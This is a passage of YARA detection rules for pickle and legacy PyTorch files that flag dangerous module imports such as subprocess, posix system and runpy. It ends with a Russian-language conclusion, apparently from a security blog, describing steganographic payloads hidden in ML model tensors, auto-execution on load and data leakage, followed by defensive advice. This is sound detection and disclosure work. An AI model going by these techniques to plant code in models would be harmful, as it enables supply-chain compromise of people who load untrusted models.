author = "Eoin Wickens - Eoin@HiddenLayer.com"
description = "Detects Pickle files"
date = "16/09/22"
strings:
$header_cos = "cos"
$header_runpy = "runpy"
$header_builtins = "builtins"
$header_ccommands = "ccommands"
$header_subprocess = "subprocess"
$header_cposix = "cposix\nsystem"
$header_c_builtin = "c__builtin__"
condition:
(
uint8(0) == 0x80 or // Pickle protocol opcode
for any of them: ($ at 0) or $header_runpy at 1 or $header_subprocess at 1
)
// Last byte has to be 2E to conform to Pickle standard
and uint8(filesize-1) == 0x2E
}
private rule Pickle_LegacyPyTorch {
meta:
author = "Eoin Wickens - Eoin@HiddenLayer.com"
description = "Detects Legacy PyTorch Pickle files"
date = "16/09/22"
strings:
$pytorch_legacy_magic_big = {19 50 a8 6a 20 f9 46 9c fc 6c}
$pytorch_legacy_magic_little = {50 19 6a a8 f9 20 9c 46 6c fc}
condition:
// First byte is either 80 - Indicative of Pickle PROTOCOL Opcode
// Also must contain the legacy pytorch magic in either big or little endian
uint8(0) == 0x80 and ($pytorch_legacy_magic_little or $pytorch_legacy_magic_big in (0..20))
}
rule MaliciousPickle {
meta:
author = "Eoin Wickens - Eoin@HiddenLayer.com"
description = "Detects Pickle files with dangerous c_builtins or non standard module imports. These are typically indicators of malicious intent"
date = "16/09/22"
condition:
// Any of the commands or any of the non std lib definitions
(PickleFile or Pickle_LegacyPyTorch) and (PythonStdLib or PythonNonStdLib)
}
Заключение
Как мы уже упоминали, методы атаки, продемонстрированные в этом посте, не ограничиваются только PyTorch и pickle-файлами. Процесс стеганографии достаточно универсален и может быть применен к поплавкам в тензорах из большинства библиотек ML. Кроме того, стеганография не ограничивается только встраиванием вредоносного кода. Она может быть легко использована для утечки данных из организации.
Автоматическое выполнение кода немного сложнее. Однако замечательный инструмент под названием Charcuterie, созданный Уиллом Пирсом (Will Pearce/moohax), обеспечивает поддержку выполнения кода с помощью многих популярных библиотек ML и даже блокнотов Jupyter.
Атаку, продемонстрированную в этом блоге, можно сделать независимой от операционной системы, встроив полезную нагрузку, специфичную для ОС и архитектуры, в различные тензоры и загружая ее динамически во время выполнения, в зависимости от платформы.
Все примеры кода в этом блоге были относительно простыми для удобства чтения. На практике мы ожидаем, что злоумышленники, использующие эти методы, будут гораздо тщательнее подходить к обфускации, упаковке и развертыванию полезной нагрузки, чтобы еще больше запутать попытки обратного инжиниринга и сканирования антивирусных программ.
Что касается практических советов по защите от описанных угроз, настоятельно рекомендуется загружать предварительно обученные модели, скачанные из Интернета, в безопасной среде "песочницы". Потенциал подмены моделей довольно высок, и в настоящее время решения для защиты от вредоносного ПО не справляются с обнаружением всех методов выполнения кода. Решения EDR могут предложить лучшее понимание атак по мере их возникновения, но даже эти решения потребуют определенной настройки и тестирования, чтобы обнаружить некоторые из более продвинутых полезных нагрузок, которые мы можем развернуть с помощью ML-моделей.
И наконец, если вы являетесь производителем моделей машинного обучения, как бы они ни были развернуты, подумайте о том, какие форматы хранения данных обеспечивают наибольшую безопасность (т.е. свободны от недостатков десериализации данных), а также рассмотрите возможность подписания моделей как средство проверки целостности для выявления фальсификации и повреждения. Чтобы не оказаться на переднем крае следующей крупной атаки на цепочку поставок, всегда стоит убедиться, что развернутые вами модели не подвержены злонамеренному вмешательству.
Еще раз повторю: для душевного спокойствия не загружайте ненадежные модели на корпоративный ноутбук!
Последнее редактирование: